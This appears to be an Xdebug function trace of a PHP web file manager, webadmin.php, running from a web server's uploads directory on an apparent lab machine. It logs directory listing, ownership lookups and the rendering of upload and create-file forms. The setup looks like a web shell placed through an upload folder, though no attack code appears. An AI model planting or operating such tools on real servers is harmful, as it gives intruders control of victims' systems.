4 91 0 0.005528 796088 is_dir 0 /var/www/html/uploads/webadmin.php 863 1 '/var/www/html/uploads/.'
4 91 1 0.005541 796128
4 91 R TRUE
4 92 0 0.005554 796088 is_link 0 /var/www/html/uploads/webadmin.php 864 1 '/var/www/html/uploads/.'
4 92 1 0.005567 796128
4 92 R FALSE
4 93 0 0.005580 796088 is_readable 0 /var/www/html/uploads/webadmin.php 865 1 '/var/www/html/uploads/.'
4 93 1 0.005594 796128
4 93 R TRUE
4 94 0 0.005607 796088 is_writable 0 /var/www/html/uploads/webadmin.php 866 1 '/var/www/html/uploads/.'
4 94 1 0.005622 796128
4 94 R TRUE
4 95 0 0.005635 796088 filemtime 0 /var/www/html/uploads/webadmin.php 871 1 '/var/www/html/uploads/.'
4 95 1 0.005647 796128
4 95 R 1676255997
4 96 0 0.005660 796088 fileatime 0 /var/www/html/uploads/webadmin.php 872 1 '/var/www/html/uploads/.'
4 96 1 0.005672 796128
4 96 R 1676255997
4 97 0 0.005685 796088 filectime 0 /var/www/html/uploads/webadmin.php 873 1 '/var/www/html/uploads/.'
4 97 1 0.005697 796128
4 97 R 1676255997
3 A /var/www/html/uploads/webadmin.php 873 $file = ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997]
4 98 0 0.005736 796144 file_exists 0 /var/www/html/uploads/webadmin.php 877 1 '/var/www/html/uploads/./.'
4 98 1 0.005755 796184
4 98 R TRUE
3 A /var/www/html/uploads/webadmin.php 877 $file['is_executable'] = TRUE
4 99 0 0.005781 796088 function_exists 0 /var/www/html/uploads/webadmin.php 888 1 'posix_getpwuid'
4 99 1 0.005795 796128
4 99 R TRUE
4 100 0 0.005807 796088 posix_getpwuid 0 /var/www/html/uploads/webadmin.php 888 1 0
4 100 1 0.005830 796888
4 100 R ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
4 101 0 0.005853 796856 reset 0 /var/www/html/uploads/webadmin.php 888 1 ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
4 101 1 0.005872 797264
4 101 R 'root'
3 A /var/www/html/uploads/webadmin.php 888 $file['owner_name'] = 'root'
4 102 0 0.005897 796120 function_exists 0 /var/www/html/uploads/webadmin.php 889 1 'posix_getgrgid'
4 102 1 0.005911 796160
4 102 R TRUE
4 103 0 0.005924 796120 posix_getgrgid 0 /var/www/html/uploads/webadmin.php 889 1 0
4 103 1 0.005945 796776
4 103 R ['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
4 104 0 0.005965 796744 reset 0 /var/www/html/uploads/webadmin.php 889 1 ['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
4 104 1 0.005982 797152
4 104 R 'root'
3 A /var/www/html/uploads/webadmin.php 889 $file['group_name'] = 'root'
3 A /var/www/html/uploads/webadmin.php 891 $files[] = ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
4 105 0 0.006035 796792 readdir 0 /var/www/html/uploads/webadmin.php 853 1 resource(4) of type (stream)
4 105 1 0.006049 796872
4 105 R 'prepend.php'
3 A /var/www/html/uploads/webadmin.php 853 $filename = 'prepend.php'
3 A /var/www/html/uploads/webadmin.php 855 $path = '/var/www/html/uploads/prepend.php'
4 106 0 0.006085 796896 lstat 0 /var/www/html/uploads/webadmin.php 857 1 '/var/www/html/uploads/prepend.php'
4 106 1 0.006102 798704
4 106 R [0 => 2049, 1 => 524479, 2 => 33261, 3 => 1, 4 => 0, 5 => 0, 6 => 0, 7 => 57, 8 => 1676255997, 9 => 1676255997, 10 => 1676255997, 11 => 4096, 12 => 8, 'dev' => 2049, 'ino' => 524479, 'mode' => 33261, 'nlink' => 1, 'uid' => 0, 'gid' => 0, 'rdev' => 0, 'size' => 57, 'atime' => 1676255997, 'mtime' => 1676255997, 'ctime' => 1676255997, 'blksize' => 4096, 'blocks' => 8]
3 A /var/www/html/uploads/webadmin.php 857 $stat = [0 => 2049, 1 => 524479, 2 => 33261, 3 => 1, 4 => 0, 5 => 0, 6 => 0, 7 => 57, 8 => 1676255997, 9 => 1676255997, 10 => 1676255997, 11 => 4096, 12 => 8, 'dev' => 2049, 'ino' => 524479, 'mode' => 33261, 'nlink' => 1, 'uid' => 0, 'gid' => 0, 'rdev' => 0, 'size' => 57, 'atime' => 1676255997, 'mtime' => 1676255997, 'ctime' => 1676255997, 'blksize' => 4096, 'blocks' => 8]
4 107 0 0.006163 797608 is_file 0 /var/www/html/uploads/webadmin.php 862 1 '/var/www/html/uploads/prepend.php'
4 107 1 0.006178 797664
4 107 R TRUE
4 108 0 0.006192 797624 is_dir 0 /var/www/html/uploads/webadmin.php 863 1 '/var/www/html/uploads/prepend.php'
4 108 1 0.006210 797664
4 108 R FALSE
4 109 0 0.006224 797624 is_link 0 /var/www/html/uploads/webadmin.php 864 1 '/var/www/html/uploads/prepend.php'
4 109 1 0.006237 797664
4 109 R FALSE
4 110 0 0.006250 797624 is_readable 0 /var/www/html/uploads/webadmin.php 865 1 '/var/www/html/uploads/prepend.php'
4 110 1 0.006266 797664
4 110 R TRUE
4 111 0 0.006279 797624 is_writable 0 /var/www/html/uploads/webadmin.php 866 1 '/var/www/html/uploads/prepend.php'
4 111 1 0.006294 797664
4 111 R FALSE
4 112 0 0.006307 797624 filemtime 0 /var/www/html/uploads/webadmin.php 871 1 '/var/www/html/uploads/prepend.php'
4 112 1 0.006321 797664
4 112 R 1676255997
4 113 0 0.006333 797624 fileatime 0 /var/www/html/uploads/webadmin.php 872 1 '/var/www/html/uploads/prepend.php'
4 113 1 0.006346 797664
4 113 R 1676255997
4 114 0 0.006359 797624 filectime 0 /var/www/html/uploads/webadmin.php 873 1 '/var/www/html/uploads/prepend.php'
4 114 1 0.006372 797664
4 114 R 1676255997
3 A /var/www/html/uploads/webadmin.php 873 $file = ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997]
4 115 0 0.006411 797624 is_executable 0 /var/www/html/uploads/webadmin.php 880 1 '/var/www/html/uploads/prepend.php'
4 115 1 0.006427 797664
4 115 R TRUE
3 A /var/www/html/uploads/webadmin.php 880 $file['is_executable'] = TRUE
4 116 0 0.006453 797624 function_exists 0 /var/www/html/uploads/webadmin.php 888 1 'posix_getpwuid'
4 116 1 0.006467 797664
4 116 R TRUE
4 117 0 0.006484 797624 posix_getpwuid 0 /var/www/html/uploads/webadmin.php 888 1 0
4 117 1 0.006508 798424
4 117 R ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
4 118 0 0.006531 798392 reset 0 /var/www/html/uploads/webadmin.php 888 1 ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
4 118 1 0.006551 798800
4 118 R 'root'
3 A /var/www/html/uploads/webadmin.php 888 $file['owner_name'] = 'root'
4 119 0 0.006576 797656 function_exists 0 /var/www/html/uploads/webadmin.php 889 1 'posix_getgrgid'
4 119 1 0.006589 797696
4 119 R TRUE
4 120 0 0.006602 797656 posix_getgrgid 0 /var/www/html/uploads/webadmin.php 889 1 0
4 120 1 0.006627 798312
4 120 R ['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
4 121 0 0.006647 798280 reset 0 /var/www/html/uploads/webadmin.php 889 1 ['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
4 121 1 0.006718 798688
4 121 R 'root'
3 A /var/www/html/uploads/webadmin.php 889 $file['group_name'] = 'root'
3 A /var/www/html/uploads/webadmin.php 891 $files[] = ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
4 122 0 0.006772 798328 readdir 0 /var/www/html/uploads/webadmin.php 853 1 resource(4) of type (stream)
4 122 1 0.006786 798400
4 122 R 'data'
3 A /var/www/html/uploads/webadmin.php 853 $filename = 'data'
3 A /var/www/html/uploads/webadmin.php 855 $path = '/var/www/html/uploads/data'
4 123 0 0.006821 798416 lstat 0 /var/www/html/uploads/webadmin.php 857 1 '/var/www/html/uploads/data'
4 123 1 0.006839 800200
4 123 R [0 => 2049, 1 => 524476, 2 => 16895, 3 => 2, 4 => 0, 5 => 0, 6 => 0, 7 => 4096, 8 => 1676255997, 9 => 1676255997, 10 => 1676255997, 11 => 4096, 12 => 8, 'dev' => 2049, 'ino' => 524476, 'mode' => 16895, 'nlink' => 2, 'uid' => 0, 'gid' => 0, 'rdev' => 0, 'size' => 4096, 'atime' => 1676255997, 'mtime' => 1676255997, 'ctime' => 1676255997, 'blksize' => 4096, 'blocks' => 8]
3 A /var/www/html/uploads/webadmin.php 857 $stat = [0 => 2049, 1 => 524476, 2 => 16895, 3 => 2, 4 => 0, 5 => 0, 6 => 0, 7 => 4096, 8 => 1676255997, 9 => 1676255997, 10 => 1676255997, 11 => 4096, 12 => 8, 'dev' => 2049, 'ino' => 524476, 'mode' => 16895, 'nlink' => 2, 'uid' => 0, 'gid' => 0, 'rdev' => 0, 'size' => 4096, 'atime' => 1676255997, 'mtime' => 1676255997, 'ctime' => 1676255997, 'blksize' => 4096, 'blocks' => 8]
4 124 0 0.006900 799104 is_file 0 /var/www/html/uploads/webadmin.php 862 1 '/var/www/html/uploads/data'
4 124 1 0.006915 799136
4 124 R FALSE
4 125 0 0.006929 799096 is_dir 0 /var/www/html/uploads/webadmin.php 863 1 '/var/www/html/uploads/data'
4 125 1 0.006942 799136
4 125 R TRUE
4 126 0 0.006958 799096 is_link 0 /var/www/html/uploads/webadmin.php 864 1 '/var/www/html/uploads/data'
4 126 1 0.006971 799136
4 126 R FALSE
4 127 0 0.006996 799096 is_readable 0 /var/www/html/uploads/webadmin.php 865 1 '/var/www/html/uploads/data'
4 127 1 0.007014 799136
4 127 R TRUE
4 128 0 0.007027 799096 is_writable 0 /var/www/html/uploads/webadmin.php 866 1 '/var/www/html/uploads/data'
4 128 1 0.007042 799136
4 128 R TRUE
4 129 0 0.007055 799096 filemtime 0 /var/www/html/uploads/webadmin.php 871 1 '/var/www/html/uploads/data'
4 129 1 0.007068 799136
4 129 R 1676255997
4 130 0 0.007081 799096 fileatime 0 /var/www/html/uploads/webadmin.php 872 1 '/var/www/html/uploads/data'
4 130 1 0.007094 799136
4 130 R 1676255997
4 131 0 0.007107 799096 filectime 0 /var/www/html/uploads/webadmin.php 873 1 '/var/www/html/uploads/data'
4 131 1 0.007119 799136
4 131 R 1676255997
3 A /var/www/html/uploads/webadmin.php 873 $file = ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997]
4 132 0 0.007159 799152 file_exists 0 /var/www/html/uploads/webadmin.php 877 1 '/var/www/html/uploads/data/.'
4 132 1 0.007175 799192
4 132 R TRUE
3 A /var/www/html/uploads/webadmin.php 877 $file['is_executable'] = TRUE
4 133 0 0.007201 799096 function_exists 0 /var/www/html/uploads/webadmin.php 888 1 'posix_getpwuid'
4 133 1 0.007214 799136
4 133 R TRUE
4 134 0 0.007227 799096 posix_getpwuid 0 /var/www/html/uploads/webadmin.php 888 1 0
4 134 1 0.007251 799896
4 134 R ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
4 135 0 0.007275 799864 reset 0 /var/www/html/uploads/webadmin.php 888 1 ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
4 135 1 0.007299 800272
4 135 R 'root'
3 A /var/www/html/uploads/webadmin.php 888 $file['owner_name'] = 'root'
4 136 0 0.007324 799128 function_exists 0 /var/www/html/uploads/webadmin.php 889 1 'posix_getgrgid'
4 136 1 0.007338 799168
4 136 R TRUE
4 137 0 0.007351 799128 posix_getgrgid 0 /var/www/html/uploads/webadmin.php 889 1 0
4 137 1 0.007373 799784
4 137 R ['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
4 138 0 0.007393 799752 reset 0 /var/www/html/uploads/webadmin.php 889 1 ['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
4 138 1 0.007410 800160
4 138 R 'root'
3 A /var/www/html/uploads/webadmin.php 889 $file['group_name'] = 'root'
3 A /var/www/html/uploads/webadmin.php 891 $files[] = ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
4 139 0 0.007462 799800 readdir 0 /var/www/html/uploads/webadmin.php 853 1 resource(4) of type (stream)
4 139 1 0.007477 799880
4 139 R '.htaccess'
3 A /var/www/html/uploads/webadmin.php 853 $filename = '.htaccess'
3 A /var/www/html/uploads/webadmin.php 855 $path = '/var/www/html/uploads/.htaccess'
4 140 0 0.007512 799896 lstat 0 /var/www/html/uploads/webadmin.php 857 1 '/var/www/html/uploads/.htaccess'
4 140 1 0.007529 801688
4 140 R [0 => 2049, 1 => 524478, 2 => 33188, 3 => 1, 4 => 0, 5 => 0, 6 => 0, 7 => 64, 8 => 1676255997, 9 => 1676255997, 10 => 1676255997, 11 => 4096, 12 => 8, 'dev' => 2049, 'ino' => 524478, 'mode' => 33188, 'nlink' => 1, 'uid' => 0, 'gid' => 0, 'rdev' => 0, 'size' => 64, 'atime' => 1676255997, 'mtime' => 1676255997, 'ctime' => 1676255997, 'blksize' => 4096, 'blocks' => 8]
3 A /var/www/html/uploads/webadmin.php 857 $stat = [0 => 2049, 1 => 524478, 2 => 33188, 3 => 1, 4 => 0, 5 => 0, 6 => 0, 7 => 64, 8 => 1676255997, 9 => 1676255997, 10 => 1676255997, 11 => 4096, 12 => 8, 'dev' => 2049, 'ino' => 524478, 'mode' => 33188, 'nlink' => 1, 'uid' => 0, 'gid' => 0, 'rdev' => 0, 'size' => 64, 'atime' => 1676255997, 'mtime' => 1676255997, 'ctime' => 1676255997, 'blksize' => 4096, 'blocks' => 8]
4 141 0 0.007591 800592 is_file 0 /var/www/html/uploads/webadmin.php 862 1 '/var/www/html/uploads/.htaccess'
4 141 1 0.007606 800632
4 141 R TRUE
4 142 0 0.007619 800592 is_dir 0 /var/www/html/uploads/webadmin.php 863 1 '/var/www/html/uploads/.htaccess'
4 142 1 0.007632 800632
4 142 R FALSE
4 143 0 0.007646 800592 is_link 0 /var/www/html/uploads/webadmin.php 864 1 '/var/www/html/uploads/.htaccess'
4 143 1 0.007659 800632
4 143 R FALSE
4 144 0 0.007671 800592 is_readable 0 /var/www/html/uploads/webadmin.php 865 1 '/var/www/html/uploads/.htaccess'
4 144 1 0.007687 800632
4 144 R TRUE
4 145 0 0.007700 800592 is_writable 0 /var/www/html/uploads/webadmin.php 866 1 '/var/www/html/uploads/.htaccess'
4 145 1 0.007714 800632
4 145 R FALSE
4 146 0 0.007728 800592 filemtime 0 /var/www/html/uploads/webadmin.php 871 1 '/var/www/html/uploads/.htaccess'
4 146 1 0.007741 800632
4 146 R 1676255997
4 147 0 0.007754 800592 fileatime 0 /var/www/html/uploads/webadmin.php 872 1 '/var/www/html/uploads/.htaccess'
4 147 1 0.007766 800632
4 147 R 1676255997
4 148 0 0.007779 800592 filectime 0 /var/www/html/uploads/webadmin.php 873 1 '/var/www/html/uploads/.htaccess'
4 148 1 0.007792 800632
4 148 R 1676255997
3 A /var/www/html/uploads/webadmin.php 873 $file = ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997]
4 149 0 0.007831 800592 is_executable 0 /var/www/html/uploads/webadmin.php 880 1 '/var/www/html/uploads/.htaccess'
4 149 1 0.007847 800632
4 149 R FALSE
3 A /var/www/html/uploads/webadmin.php 880 $file['is_executable'] = FALSE
4 150 0 0.007873 800592 function_exists 0 /var/www/html/uploads/webadmin.php 888 1 'posix_getpwuid'
4 150 1 0.007886 800632
4 150 R TRUE
4 151 0 0.007899 800592 posix_getpwuid 0 /var/www/html/uploads/webadmin.php 888 1 0
4 151 1 0.007921 801392
4 151 R ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
4 152 0 0.007945 801360 reset 0 /var/www/html/uploads/webadmin.php 888 1 ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
4 152 1 0.007965 801768
4 152 R 'root'
3 A /var/www/html/uploads/webadmin.php 888 $file['owner_name'] = 'root'
4 153 0 0.007990 800624 function_exists 0 /var/www/html/uploads/webadmin.php 889 1 'posix_getgrgid'
4 153 1 0.008008 800664
4 153 R TRUE
4 154 0 0.008021 800624 posix_getgrgid 0 /var/www/html/uploads/webadmin.php 889 1 0
4 154 1 0.008043 801280
4 154 R ['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
4 155 0 0.008063 801248 reset 0 /var/www/html/uploads/webadmin.php 889 1 ['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
4 155 1 0.008080 801656
4 155 R 'root'
3 A /var/www/html/uploads/webadmin.php 889 $file['group_name'] = 'root'
3 A /var/www/html/uploads/webadmin.php 891 $files[] = ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root']
4 156 0 0.008133 801296 readdir 0 /var/www/html/uploads/webadmin.php 853 1 resource(4) of type (stream)
4 156 1 0.008148 801336
4 156 R FALSE
3 A /var/www/html/uploads/webadmin.php 853 $filename = FALSE
3 52 1 0.008173 799544
3 52 R [0 => ['filename' => 'webadmin.php', 'path' => '/var/www/html/uploads/webadmin.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 74983, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes'], 1 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 3 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 4 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 5 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root']]
2 A /var/www/html/uploads/webadmin.php 1186 $list = [0 => ['filename' => 'webadmin.php', 'path' => '/var/www/html/uploads/webadmin.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 74983, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes'], 1 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 3 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 4 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 5 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676255997, 'atime' => 1676255997, 'ctime' => 1676255997, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root']]
3 157 0 0.008315 799544 array_key_exists 0 /var/www/html/uploads/webadmin.php 1188 2 'sort' []
3 157 1 0.008329 799608
3 157 R FALSE
2 A /var/www/html/uploads/webadmin.php 1188 $sort = 'filename'
3 158 0 0.008354 799544 array_key_exists 0 /var/www/html/uploads/webadmin.php 1189 2 'reverse' []
3 158 1 0.008368 799608
3 158 R FALSE
2 A /var/www/html/uploads/webadmin.php 1189 $reverse = FALSE
3 159 0 0.008393 799544 directory_choice 1 /var/www/html/uploads/webadmin.php 1198 0
4 160 0 0.008407 799688 urlencode 0 /var/www/html/uploads/webadmin.php 1438 1 '/var/www/html/uploads/'
4 160 1 0.008421 799784
4 160 R '%2Fvar%2Fwww%2Fhtml%2Fuploads%2F'
4 161 0 0.008437 799720 word 1 /var/www/html/uploads/webadmin.php 1438 1 'directory'
5 162 0 0.008451 799744 htmlentities 0 /var/www/html/uploads/webadmin.php 1599 3 'Directory' 2 'UTF-8'
5 162 1 0.008467 800016
5 162 R 'Directory'
4 161 1 0.008482 799904
4 161 R 'Directory'
4 163 0 0.008496 799808 textfieldsize 1 /var/www/html/uploads/webadmin.php 1439 1 '/var/www/html/uploads/'
4 A /var/www/html/uploads/webadmin.php 1575 $size = 27
4 A /var/www/html/uploads/webadmin.php 1576 $size = 30
4 163 1 0.008531 799808
4 163 R 30
4 164 0 0.008545 799808 html 1 /var/www/html/uploads/webadmin.php 1439 1 '/var/www/html/uploads/'
5 165 0 0.008558 799808 htmlentities 0 /var/www/html/uploads/webadmin.php 1594 3 '/var/www/html/uploads/' 2 NULL
5 165 1 0.008573 800080
5 165 R '/var/www/html/uploads/'
4 164 1 0.008588 799968
4 164 R '/var/www/html/uploads/'
4 166 0 0.008603 799936 word 1 /var/www/html/uploads/webadmin.php 1440 1 'change'
5 167 0 0.008616 799936 htmlentities 0 /var/www/html/uploads/webadmin.php 1599 3 'change' 2 'UTF-8'
5 167 1 0.008630 800208
5 167 R 'change'
4 166 1 0.008644 800096
4 166 R 'change'
3 159 1 0.008658 799616
3 168 0 0.008666 799616 is_writable 0 /var/www/html/uploads/webadmin.php 1205 1 '/var/www/html/uploads/'
3 168 1 0.008682 799656
3 168 R TRUE
3 169 0 0.008695 799616 upload_box 1 /var/www/html/uploads/webadmin.php 1206 0
4 170 0 0.008708 799680 word 1 /var/www/html/uploads/webadmin.php 1452 1 'file'
5 171 0 0.008721 799680 htmlentities 0 /var/www/html/uploads/webadmin.php 1599 3 'File' 2 'UTF-8'
5 171 1 0.008736 799952
5 171 R 'File'
4 170 1 0.008753 799840
4 170 R 'File'
4 172 0 0.008767 799808 word 1 /var/www/html/uploads/webadmin.php 1454 1 'upload'
5 173 0 0.008780 799808 htmlentities 0 /var/www/html/uploads/webadmin.php 1599 3 'upload' 2 'UTF-8'
5 173 1 0.008794 800080
5 173 R 'upload'
4 172 1 0.008808 799968
4 172 R 'upload'
3 169 1 0.008821 799616
3 174 0 0.008828 799616 create_box 1 /var/www/html/uploads/webadmin.php 1207 0
4 175 0 0.008840 799776 word 1 /var/www/html/uploads/webadmin.php 1467 1 'file'
5 176 0 0.008853 799776 htmlentities 0 /var/www/html/uploads/webadmin.php 1599 3 'File' 2 'UTF-8'
5 176 1 0.008867 800048
5 176 R 'File'
4 175 1 0.008883 799936
4 175 R 'File'
4 177 0 0.008896 799840 word 1 /var/www/html/uploads/webadmin.php 1468 1 'directory'
5 178 0 0.008922 799840 htmlentities 0 /var/www/html/uploads/webadmin.php 1599 3 'Directory' 2 'UTF-8'
5 178 1 0.008938 800112
5 178 R 'Directory'
4 177 1 0.008952 800000
4 177 R 'Directory'
4 179 0 0.008967 800000 word 1 /var/www/html/uploads/webadmin.php 1471 1 'create'
5 180 0 0.008979 800000 htmlentities 0 /var/www/html/uploads/webadmin.php 1599 3 'create' 2 'UTF-8'
5 180 1 0.008994 800272
5 180 R 'create'
4 179 1 0.009007 800160
4 179 R 'create'
3 174 1 0.009021 799616
